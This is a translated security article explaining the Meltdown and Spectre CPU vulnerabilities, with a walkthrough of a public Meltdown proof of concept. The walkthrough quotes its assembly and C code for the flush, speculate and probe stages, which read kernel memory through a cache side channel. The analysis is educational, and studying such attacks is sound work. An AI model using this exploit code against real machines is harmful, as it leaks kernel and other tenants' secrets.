0X01 vulnerability PrincipleThese two vulnerabilities come from two features introduced by chip vendors to improve CPU performance: Out-of-Order Execution and Speculative Execution ).
Out-of-order execution and prediction executionIn earlier versions, the processor executes the specified processor commands sequentially. In order to improve performance, the Modern processor does not strictly execute the commands sequentially. Instead, it analyzes the relevance of the execution and then processes the execution in disorder in parallel. For example, when some commands in the processor need to wait for some resources, the processor will not actually wait here to stop the command execution, but will continue to execute subsequent commands by waiting for the resources. In CPUs that support disordered execution, subsequent commands may be executed before the execution of the preceding commands ends.
To ensure the correctness of the program running, the processor performs a security check on the command. The command can only be executed when the current user permission complies with the command permission. For example, if the user space command accesses the kernel memory processor, an exception is thrown. However, the security check operation is only performed when the command retires (retirement-a command retires only when the result of its execution is actually submitted and visible to the system. That is to say, if the command is not actually executed in an out-of-order manner but is loaded to the cache (as mentioned below), the security check will not be executed. At this time, commands that are executed in advance due to disorderly execution will be discarded by the processor, but cache operations that are executed in disorderly order will not be reset when these commands are discarded. It is precisely the empty window period for security checks and disorderly execution that makes Meltdown available.
The prediction execution involves the control flow of the program. Now, the processor does not parse all the branch commands and then decides which operation to execute. Instead, it predicts which control flow is more likely to be run and then extracts the corresponding command code for execution. If the prediction is correct, it will bring about High Performance Improvement and improve the concurrency of the processor. If a prediction error occurs, the incorrect results of the predicted execution will be discarded, and the processor will restore the status to the correct status before the predicted execution line, go back to the correctly executed branch or command. Similar to unordered execution, the prediction execution of operations on the processor cache will be retained.
This mechanism does not seem to be a problem at the macro level. However, due to the cache mechanism of the processor, the commands that are predicted or executed in disorder are first loaded into the cache, however, when the processor is restored, the content cached by the processor is not restored. The latest research shows that attackers can use the cache for side-channel attacks, while Meltdown and Spectre are essentially cache-side channel attacks by exploiting the processor's disordered execution or predictive Execution Vulnerability.
Cache-side channel attacksCache-based side-channel attacks are currently very popular in academic research. For example, Professor Yinqian Zhang of Ohio State University [10] has done a lot of outstanding work in this field. The cache accelerates data access through data sharing. That is to say, the response time corresponding to cache hit and failure is different. Attackers use this time difference to speculate on the information in the cache to obtain private data.
Cache-side channel attacks include Evict + Time [7], Prime + Probe [6]), Flush + Reload [5], and other attacks. Here we will briefly introduce Flush + Reload, this is also the method used in exploit. Assuming that the attacker shares the physical memory with the target program (or different virtual machines in the cloud share the memory), the attacker can repeatedly use the processor command to evict the monitored memory block (some addresses) from the cache, then wait for the target program to access the shared memory (Flush stage ). Then the attacker reloads the monitored memory block and measures the read time (Reload phase). If the memory block is accessed by the target program, the corresponding memory will be imported into the processor cache, then, attackers can access the memory for a short period of time. By measuring the loading duration, attackers can clearly determine whether the memory block has been read by the target program.
Meltdown and Spectre can use this side channel for unauthorized memory access and even read the memory data of the entire kernel.
Meltdown attack command sequenceTake a simplified Meltdown attack command sequence as an example:
; rcx = kernel address; rbx = probe_arraymov al, byte [rcx]shl rax, 0xcmov rbx, qword [rbx + rax]
The rcx register stores the inaccessible kernel address of the user space program.
Rbx registers point to probe_array
An attacker with user-level permissions tries to access the kernel address in the third command. The processor checks whether the process has the permission to access the address, therefore, this command will trigger an exception, and the changes to the registers of this command and Subsequent commands will be discarded, and the processor will return to the commands that can be normally executed. However, because the processor adopts the unordered execution mode, the following two commands have been executed while waiting for the processor to complete the command execution (before the permission check is completed) (although eventually discarded ).
Multiply the data read in command 3 by 4096 (4 kb). The following section describes why it is 4096.
Use the result of command 4 as an index to access and test the probe_array (rbx [al * 4096]) array. Because the size of a memory page is 4 kb, different data will cause different memory pages to be accessed and stored in the CPU cache.
After that, attackers can use the cache-side channel to continuously traverse and load rbx [al * 4096]. As the data is already in the cache, attackers always traverse a page with a loading time much smaller than other data, and speculate which memory page has been accessed, thus deriving the accessed kernel memory data.
Emphasize that the attacker's goal is to continuously detect probe_array to obtain the data pointed to by the kernel address.
0X02 Exploit analysisLet's look at a POC [4] published on github. It is also an exploit that can give you a better understanding of meltdown. The POC can use the application program to read the linux_proc_banner variable in the kernel, which stores the version information of the Linux kernel and can be obtained through the command cat/proc/version. Cat/proc/version triggers a system call to return information about the linux_proc_banner variable to the application. The meltdown vulnerability allows you to directly access the linux_proc_banner variable from the application, undermining memory isolation.
The POC first obtains the address of linux_proc_banner in the kernel using "sudo cat/proc/kallsyms | grep" linux_proc_banner "and then reads the value of this address. The meltdown vulnerability is used to read variable values from this address.
In general, attackers need to steal kernel data, including four processes: Flush, Speculate, Reload, and Probe. It is worth noting that the Reload phase is included in the Speculate phase, but since the Reload and Flush phases are a complete cache-side channel attack process, You have to list them separately. The execution sequence is the Flush stage-Speculate stage (including the Reload stage)-Probe stage. We will refer to these four processes as described below. For ease of understanding, first talk about the Speculate stage.
Speculate stageSpeculate stage executes the code sequence process in the previous chapter, uses the unordered execution to access the detection array as an index and load the target kernel address to the cache. Implemented by the speculate function.
To understand this process, first use gdb to debug the meltdown executable program to understand the execution process of this exploit.
We can see that the spcculate function will trigger a segment error, and the speculate function is also the key code of the POC, which consists of a piece of assembly code:
lea %[target], %%rbx\n\t" "1:\n\t" ".rept 300\n\t" "add $0x141, %%rax\n\t" ".endr\n\t" "movzx (%[addr]), %%eax\n\t" "shl $12, %%rax\n\t" "movzx (%%rbx, %%rax, 1), %%rbx\n" "stopspeculate: \n\t" "nop\n\t" : : [target] "m" (target_array), [addr] "r" (addr) : "rax", "rbx"
The purpose of this function is to spoof the disordered execution mechanism of the CPU. Here is the AT&T Assembly syntax. The AT&T-format Assembly command is "Source operand before, destination operand after", and intel-format is the opposite. Let's take a line to analyze the above assembly instructions.
Lea % [target], % rbx: place the address of the global variable target_array In the RBX register. The target _ array here is the probe_array in the previous chapter, target_array is set to 256*4096 bytes. This setting is exquisite. The value range of one byte is 0-255, with a total of 256 bytes. 4096 is exactly the size of a page in the x86 architecture of 4 kb. The target_array array is filled with 256 pages.
As follows:
#define TARGET_OFFSET 12#define TARGET_SIZE (1 << TARGET_OFFSET)#define BITS_READ 8#define VARIANTS_READ (1 << BITS_READ)static char target_array[VARIANTS_READ * TARGET_SIZE];
Add $0 × 141, % rax: it is an addition command that repeats for 300 times. This command only serves to test whether the processor can run in disorder.
Movzx (% [addr]), % eax: corresponds to the third instruction in the command sequence in the previous chapter, and puts the data pointed to by the attacker's target kernel address into the eax register, this operation will trigger a processor exception
Shl $12, % rax: corresponds to the fourth instruction in the instruction sequence in the previous chapter, which shifts 12 bits to the left, that is, multiplied by 4096. The size is equal to the column in The target_array array, prepare for speculation about the data pointed to by the kernel address.
Reload stageMovzx (% rbx, % rax, 1), % rbx:
Corresponding to the fifth instruction in the instruction sequence in the previous chapter, use the data pointed to by the target kernel address multiplied by 4096 as the index to access the target_array array. In this case, different data will be loaded into different cache pages. This process is exactly what is done in the Reload phase of the cache-side channel attack.
Flush stageBefore calling the speculate function to steal data, attackers will intentionally Flush the target_array cache, that is, the Flush stage of cache-side channel attacks, implemented by the clflush_target function:
void clflush_target(void){ int i; for (i = 0; i < VARIANTS_READ; i++) _mm_clflush(&target_array[i * TARGET_SIZE]);}
After executing the movzx (% rbx, % rax, 1) command, the processor starts to handle exceptions. The attacker registers a signal processor and directly modifies the program pointer register, jump to the stopspeculate command to continue executing the nop command.
Probe stageAfter the Flush phase and Speculate phase (including the Reload phase) have completed the preparation, the Probe phase will actually detect the data pointed to by the kernel address.
That is, after the speculate function is executed, the check function is executed. The Code is as follows:
void check(void){ int i, time, mix_i; volatile char *addr; for (i = 0; i < VARIANTS_READ; i++) { mix_i = ((i * 167) + 13) & 255; addr = &target_array[mix_i * TARGET_SIZE]; time = get_access_time(addr); if (time <= cache_hit_threshold) hist[mix_i]++; }}
The check function is used to detect the cached data to detect the time difference of data access in different memory. To put it simply, obtaining data is the process of obtaining the target_array index.
Because the target_array size is 256*4096, you can test a maximum of 256 times to determine whether a byte of data pointed to by the kernel address has been accessed. Note: here is why it is a byte. As mentioned above, a byte can represent a maximum of 255, that is, 256 bytes. So to guess the complete data that the kernel address points to, we need to keep repeating this process, that is, what the next code will do:
for (score = 0, i = 0; i < size; i++) { ret = readbyte(fd, addr); if (ret == -1) ret = 0xff; printf("read %lx = %x %c (score=%d/%d)\n", addr, ret, isprint(ret) ? ret : ' ', ret != 0xff ? hist[ret] : 0, CYCLES); if (i < sizeof(expected) && ret == expected[i]) score++; addr++; }
The readbyte function cyclically calls clflush_target (), speculate (addr), and check (). The following code:
for (i = 0; i < CYCLES; i++) { ret = pread(fd, buf, sizeof(buf), 0); if (ret < 0) { perror("pread"); break; } clflush_target(); speculate(addr); check(); }
This is exactly the Flush stage (corresponding to clflush_target (), Speculate stage (corresponding to speculate function, including Reload stage), and Probe stage (corresponding to check () mentioned above ()).
So far, the process of data theft has been completed.
For the POC running result:
The program reads the content in the linux_proc_banner address in one byte. You can run the cat/proc/version command to compare the results. As long as there is enough data stolen by Meltdown, the stolen data is consistent with the running result of the command. The attacker successfully executes the attack.
Questions worth further consideration1. The code can only detect one byte of data at a time. What if the processor has handled an exception before the kernel data is fully read?
2. Can the target_array array be set to 256*4 kb or 512*2 kb or 1024*1 kb?
3. The target_array array is a large array that occupies Multiple Memory pages. Is it easy to detect?
0X03 hazardsBoth Meltdown and Spectre are essentially cache-side channel attacks.
For individual end users, the Meltdown and Spectre vulnerabilities allow low-Permission users to access the kernel content, leak the underlying information and key information of the local operating system, and obtain leaked information, this vulnerability can be used to bypass the isolation protection of the kernel. If it is used with other vulnerabilities, it can be exploited to leak the kernel module address and bypass protection mechanisms such as KASLR For Elevation of Privilege for other types of attacks. In addition, the JIT feature of the browser is used to predict and execute special JIT code, so as to read the data in the memory of the entire browser and disclose the privacy information such as the user account, password, email address, and cookie.
For virtual machines in cloud services, you can use the relevant attack mechanisms to obtain the CPU cache data of the entire physical machine, bypassing the isolation protection of the virtual machine super manager (Hypervisor) to leak the privacy information of other tenants.
However, Meltdown and Spectre are mainly used for information leakage and cannot be arbitrarily modified on the target memory address. Attackers must have the execution permission to launch attacks. For general users, as long as they are not executed malicious code (such as accessing a malicious website), they will not be attacked by Meltdown and Spectre. However, on the cloud, attackers can lease virtual machines to execute arbitrary code that attackers want to execute to obtain information about host hosts and other tenants. It can be seen that this CPU vulnerability has a huge impact on various cloud service providers. Major Cloud vendors have also released corresponding announcements for this chip vulnerability.
In general, although this vulnerability has a wide impact, it is not so easy to implement because of its complicated utilization and restrictions. Of course, intensifying protection measures is still a top priority. Through this vulnerability, security personnel should have more in-depth thoughts and reflections.
Defense measures against Meltdown and Spectre attacks and other impacts will be further studied in the following articles.
Are you sure you want to clarify?
Reference
- Https://googleprojectzero.blogspot.hk/2018/
- Https://meltdownattack.com/meltdown.pdf
- Https://spectreattack.com/spectre.pdf
- Https://github.com/paboldin/meltdown-exploit
- Https://www.usenix.org/node/184416
- Http://palms.ee.princeton.edu/system/files/SP_vfinal.pdf
- Https://dl.acm.org/citation.cfm? Id = 2725064
- Https://zhuanlan.zhihu.com/p/32654221
- Https://weibo.com/ttarticle/p/show? Id = 2309404192925885035405
- Http://web.cse.ohio-state.edu /~ Zhang.834/
* Author: Weibo @ Diting0x. This article belongs to the FreeBuf original reward program. For details, refer to FreeBuf. COM.